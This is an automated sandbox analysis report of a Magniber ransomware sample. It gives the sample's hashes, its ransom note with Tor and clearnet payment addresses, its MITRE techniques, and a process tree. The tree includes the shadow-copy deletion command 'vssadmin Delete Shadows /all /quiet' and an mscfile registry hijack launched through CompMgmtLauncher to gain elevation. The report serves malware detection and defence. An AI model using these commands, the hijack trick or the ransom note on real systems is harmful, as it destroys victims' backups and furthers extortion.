magniber | 02878d52de142bdbeb5102ade3fe322bac4b2577f7cd316583e3ed18840965c5

Analysis

max time kernel
121s
max time network
152s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
04-10-2024 12:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1367b5544d880a04248b3552c3232c3e_JaffaCakes118.dll
Size

20KB
MD5

1367b5544d880a04248b3552c3232c3e
SHA1

587c8acd42db7c7efe49242f4ec6fde0ec8e7aeb
SHA256

02878d52de142bdbeb5102ade3fe322bac4b2577f7cd316583e3ed18840965c5
SHA512

fc745fe43577959c7629bf5f530286ac74809ef70520334b4143787928eb6aa3c8a57ef18947b0346a2c26699bbb0c9905cf88abec4e7e839a69b2614fde9f73
SSDEEP

384:lQEBWKZqvIX/r3QtqM+VFc0H0SsdcCFNF2w3VX1Hz70TozIM4Utl8M0:lQr0qaMkV3reFH3nzUPM4w8

Score

10^/10

magniber defense_evasion discovery execution impact ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://107cc638c27ca6007cqbvpseec.m647u2xsjtlfyzuevlxjiiwjsg2btyhmbxbjz4in4hm76u6hjzc62wad.onion/qbvpseec Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://107cc638c27ca6007cqbvpseec.gosmark.space/qbvpseec http://107cc638c27ca6007cqbvpseec.ourunit.xyz/qbvpseec http://107cc638c27ca6007cqbvpseec.topsaid.site/qbvpseec http://107cc638c27ca6007cqbvpseec.iecard.top/qbvpseec Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://107cc638c27ca6007cqbvpseec.m647u2xsjtlfyzuevlxjiiwjsg2btyhmbxbjz4in4hm76u6hjzc62wad.onion/qbvpseec

http://107cc638c27ca6007cqbvpseec.gosmark.space/qbvpseec

http://107cc638c27ca6007cqbvpseec.ourunit.xyz/qbvpseec

http://107cc638c27ca6007cqbvpseec.topsaid.site/qbvpseec

http://107cc638c27ca6007cqbvpseec.iecard.top/qbvpseec

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1316	2552	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1436	2552	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1696	2552	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2564	2552	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2988	2552	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1768	2552	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1484	2552	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2236	2552	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	568	2552	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2084	2552	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1956	2552	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2312	2552	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1316	2552	vssadmin.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	232	2552	cmd.exe	45
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2176	2552	vssadmin.exe	45

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (74) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Drops desktop.ini file(s) 5 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MX1BY2FD\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OBDG6J46\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYYHNCRR\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\YFS4OGJW\desktop.ini	DllHost.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2712 set thread context of 1108	2712	rundll32.exe	19
PID 2712 set thread context of 1208	2712	rundll32.exe	20
PID 2712 set thread context of 1260	2712	rundll32.exe	21
PID 2712 set thread context of 916	2712	rundll32.exe	25

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Interacts with shadow copies 3 TTPs 10 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1768	vssadmin.exe
568	vssadmin.exe
2084	vssadmin.exe
2176	vssadmin.exe
1316	vssadmin.exe
1436	vssadmin.exe
2564	vssadmin.exe
2988	vssadmin.exe
1484	vssadmin.exe
2312	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007b88b8645d6de74ab21efaf0de98379b00000000020000000000106600000001000020000000d303507694d8ace8cdd25420124b0a7d2413062df18f0ec4b414a2a76cca91b8000000000e80000000020000200000009a90ce93cc1170fa89019fc852835418ea31968dddfceb3c33eb882885b9851790000000939a0d0533701caa7dc26d8022ee03e54c5edca353fe018824a88a3b5e602933038e2d1d5963017d401c390975b5f25b3789682abe089c515044b058414cf0179f4d3c561655a710ab6a0c00e973810b7b7c919761180ab3c57f8e941b816542670db5b5374e50cbb0b41817b14749e187ef6ebaffd7042b50829666e6cf9691172fe63383d08d8ee32a96260a526e35400000008f6b9b54d8945c9a37126ce259a4592351a56d6ffc2deae62ea9d64f71a1487511175916b96df3b685effa3ae1c0eb32e159948f17f26cab364e8d412c839f50	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "434207701"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0091a255b16db01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{4EFD3621-824E-11EF-943D-F245C6AC432F} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007b88b8645d6de74ab21efaf0de98379b0000000002000000000010660000000100002000000095171592077b1d28e98d60fa608c2ab1c77a2cc353a1b7da1a21d120136d4e75000000000e8000000002000020000000216b71e85416426fad0fed8940bbdb8883a0ca35714d25bd4eb64b8ce4e6e93c200000002a5bd6535af0051e4915652784109d95cdec9839021d9607aa05624fd86f16ff400000007da553fa43c90a9e1ad361032a5d79cfed5407fa02ae8f1f415c5e9aa4dfa490c2895f87bccfec668d675cd0f919e38e5511705298f352925d68f8b02bb341ad	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell\open	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell\open\command	DllHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	DllHost.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\mscfile\shell	taskhost.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1516	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2712	rundll32.exe
2712	rundll32.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2712	rundll32.exe
2712	rundll32.exe
2712	rundll32.exe
2712	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1260	Explorer.EXE
Token: SeShutdownPrivilege	1260	Explorer.EXE
Token: SeShutdownPrivilege	1260	Explorer.EXE
Token: SeShutdownPrivilege	1260	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1932	WMIC.exe
Token: SeSecurityPrivilege	1932	WMIC.exe
Token: SeTakeOwnershipPrivilege	1932	WMIC.exe
Token: SeLoadDriverPrivilege	1932	WMIC.exe
Token: SeSystemProfilePrivilege	1932	WMIC.exe
Token: SeSystemtimePrivilege	1932	WMIC.exe
Token: SeProfSingleProcessPrivilege	1932	WMIC.exe
Token: SeIncBasePriorityPrivilege	1932	WMIC.exe
Token: SeCreatePagefilePrivilege	1932	WMIC.exe
Token: SeBackupPrivilege	1932	WMIC.exe
Token: SeRestorePrivilege	1932	WMIC.exe
Token: SeShutdownPrivilege	1932	WMIC.exe
Token: SeDebugPrivilege	1932	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1932	WMIC.exe
Token: SeRemoteShutdownPrivilege	1932	WMIC.exe
Token: SeUndockPrivilege	1932	WMIC.exe
Token: SeManageVolumePrivilege	1932	WMIC.exe
Token: 33	1932	WMIC.exe
Token: 34	1932	WMIC.exe
Token: 35	1932	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1064	wmic.exe
Token: SeSecurityPrivilege	1064	wmic.exe
Token: SeTakeOwnershipPrivilege	1064	wmic.exe
Token: SeLoadDriverPrivilege	1064	wmic.exe
Token: SeSystemProfilePrivilege	1064	wmic.exe
Token: SeSystemtimePrivilege	1064	wmic.exe
Token: SeProfSingleProcessPrivilege	1064	wmic.exe
Token: SeIncBasePriorityPrivilege	1064	wmic.exe
Token: SeCreatePagefilePrivilege	1064	wmic.exe
Token: SeBackupPrivilege	1064	wmic.exe
Token: SeRestorePrivilege	1064	wmic.exe
Token: SeShutdownPrivilege	1064	wmic.exe
Token: SeDebugPrivilege	1064	wmic.exe
Token: SeSystemEnvironmentPrivilege	1064	wmic.exe
Token: SeRemoteShutdownPrivilege	1064	wmic.exe
Token: SeUndockPrivilege	1064	wmic.exe
Token: SeManageVolumePrivilege	1064	wmic.exe
Token: 33	1064	wmic.exe
Token: 34	1064	wmic.exe
Token: 35	1064	wmic.exe
Token: SeShutdownPrivilege	1260	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1064	wmic.exe
Token: SeSecurityPrivilege	1064	wmic.exe
Token: SeTakeOwnershipPrivilege	1064	wmic.exe
Token: SeLoadDriverPrivilege	1064	wmic.exe
Token: SeSystemProfilePrivilege	1064	wmic.exe
Token: SeSystemtimePrivilege	1064	wmic.exe
Token: SeProfSingleProcessPrivilege	1064	wmic.exe
Token: SeIncBasePriorityPrivilege	1064	wmic.exe
Token: SeCreatePagefilePrivilege	1064	wmic.exe
Token: SeBackupPrivilege	1064	wmic.exe
Token: SeRestorePrivilege	1064	wmic.exe
Token: SeShutdownPrivilege	1064	wmic.exe
Token: SeDebugPrivilege	1064	wmic.exe
Token: SeSystemEnvironmentPrivilege	1064	wmic.exe
Token: SeRemoteShutdownPrivilege	1064	wmic.exe
Token: SeUndockPrivilege	1064	wmic.exe
Token: SeManageVolumePrivilege	1064	wmic.exe
Token: 33	1064	wmic.exe
Token: 34	1064	wmic.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
2852	iexplore.exe
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2852	iexplore.exe
2852	iexplore.exe
804	IEXPLORE.EXE
804	IEXPLORE.EXE
804	IEXPLORE.EXE
804	IEXPLORE.EXE

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
1260	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1108 wrote to memory of 1516	1108	taskhost.exe	30
PID 1108 wrote to memory of 1516	1108	taskhost.exe	30
PID 1108 wrote to memory of 1516	1108	taskhost.exe	30
PID 1108 wrote to memory of 2672	1108	taskhost.exe	32
PID 1108 wrote to memory of 2672	1108	taskhost.exe	32
PID 1108 wrote to memory of 2672	1108	taskhost.exe	32
PID 1108 wrote to memory of 1064	1108	taskhost.exe	33
PID 1108 wrote to memory of 1064	1108	taskhost.exe	33
PID 1108 wrote to memory of 1064	1108	taskhost.exe	33
PID 1108 wrote to memory of 1792	1108	taskhost.exe	34
PID 1108 wrote to memory of 1792	1108	taskhost.exe	34
PID 1108 wrote to memory of 1792	1108	taskhost.exe	34
PID 1792 wrote to memory of 1932	1792	cmd.exe	38
PID 1792 wrote to memory of 1932	1792	cmd.exe	38
PID 1792 wrote to memory of 1932	1792	cmd.exe	38
PID 1260 wrote to memory of 1292	1260	Explorer.EXE	39
PID 1260 wrote to memory of 1292	1260	Explorer.EXE	39
PID 1260 wrote to memory of 1292	1260	Explorer.EXE	39
PID 1260 wrote to memory of 2892	1260	Explorer.EXE	40
PID 1260 wrote to memory of 2892	1260	Explorer.EXE	40
PID 1260 wrote to memory of 2892	1260	Explorer.EXE	40
PID 2672 wrote to memory of 2852	2672	cmd.exe	43
PID 2672 wrote to memory of 2852	2672	cmd.exe	43
PID 2672 wrote to memory of 2852	2672	cmd.exe	43
PID 2892 wrote to memory of 2784	2892	cmd.exe	44
PID 2892 wrote to memory of 2784	2892	cmd.exe	44
PID 2892 wrote to memory of 2784	2892	cmd.exe	44
PID 2852 wrote to memory of 804	2852	iexplore.exe	54
PID 2852 wrote to memory of 804	2852	iexplore.exe	54
PID 2852 wrote to memory of 804	2852	iexplore.exe	54
PID 2852 wrote to memory of 804	2852	iexplore.exe	54
PID 1316 wrote to memory of 2068	1316	cmd.exe	56
PID 1316 wrote to memory of 2068	1316	cmd.exe	56
PID 1316 wrote to memory of 2068	1316	cmd.exe	56
PID 1696 wrote to memory of 624	1696	cmd.exe	86
PID 1696 wrote to memory of 624	1696	cmd.exe	86
PID 1696 wrote to memory of 624	1696	cmd.exe	86
PID 624 wrote to memory of 1656	624	CompMgmtLauncher.exe	59
PID 624 wrote to memory of 1656	624	CompMgmtLauncher.exe	59
PID 624 wrote to memory of 1656	624	CompMgmtLauncher.exe	59
PID 2068 wrote to memory of 1736	2068	CompMgmtLauncher.exe	61
PID 2068 wrote to memory of 1736	2068	CompMgmtLauncher.exe	61
PID 2068 wrote to memory of 1736	2068	CompMgmtLauncher.exe	61
PID 916 wrote to memory of 2404	916	DllHost.exe	68
PID 916 wrote to memory of 2404	916	DllHost.exe	68
PID 916 wrote to memory of 2404	916	DllHost.exe	68
PID 916 wrote to memory of 1632	916	DllHost.exe	69
PID 916 wrote to memory of 1632	916	DllHost.exe	69
PID 916 wrote to memory of 1632	916	DllHost.exe	69
PID 1632 wrote to memory of 2420	1632	cmd.exe	72
PID 1632 wrote to memory of 2420	1632	cmd.exe	72
PID 1632 wrote to memory of 2420	1632	cmd.exe	72
PID 2236 wrote to memory of 2220	2236	cmd.exe	77
PID 2236 wrote to memory of 2220	2236	cmd.exe	77
PID 2236 wrote to memory of 2220	2236	cmd.exe	77
PID 2220 wrote to memory of 1372	2220	CompMgmtLauncher.exe	78
PID 2220 wrote to memory of 1372	2220	CompMgmtLauncher.exe	78
PID 2220 wrote to memory of 1372	2220	CompMgmtLauncher.exe	78
PID 2712 wrote to memory of 2756	2712	rundll32.exe	82
PID 2712 wrote to memory of 2756	2712	rundll32.exe	82
PID 2712 wrote to memory of 2756	2712	rundll32.exe	82
PID 2712 wrote to memory of 2892	2712	rundll32.exe	83
PID 2712 wrote to memory of 2892	2712	rundll32.exe	83
PID 2712 wrote to memory of 2892	2712	rundll32.exe	83

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1516
- C:\Windows\system32\cmd.exe
  cmd /c "start http://107cc638c27ca6007cqbvpseec.gosmark.space/qbvpseec^&2^&45695914^&74^&333^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://107cc638c27ca6007cqbvpseec.gosmark.space/qbvpseec&2&45695914&74&333&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2852
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2852 CREDAT:275457 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:804
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1064
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1932

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
PID:1208
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2252
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:2684
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2016

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1260
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\1367b5544d880a04248b3552c3232c3e_JaffaCakes118.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2756
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    PID:2892
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:624
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:1292
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2892
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2784

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Drops desktop.ini file(s)
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2404
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2420

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1316
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1736

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2564

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1436

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1696
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
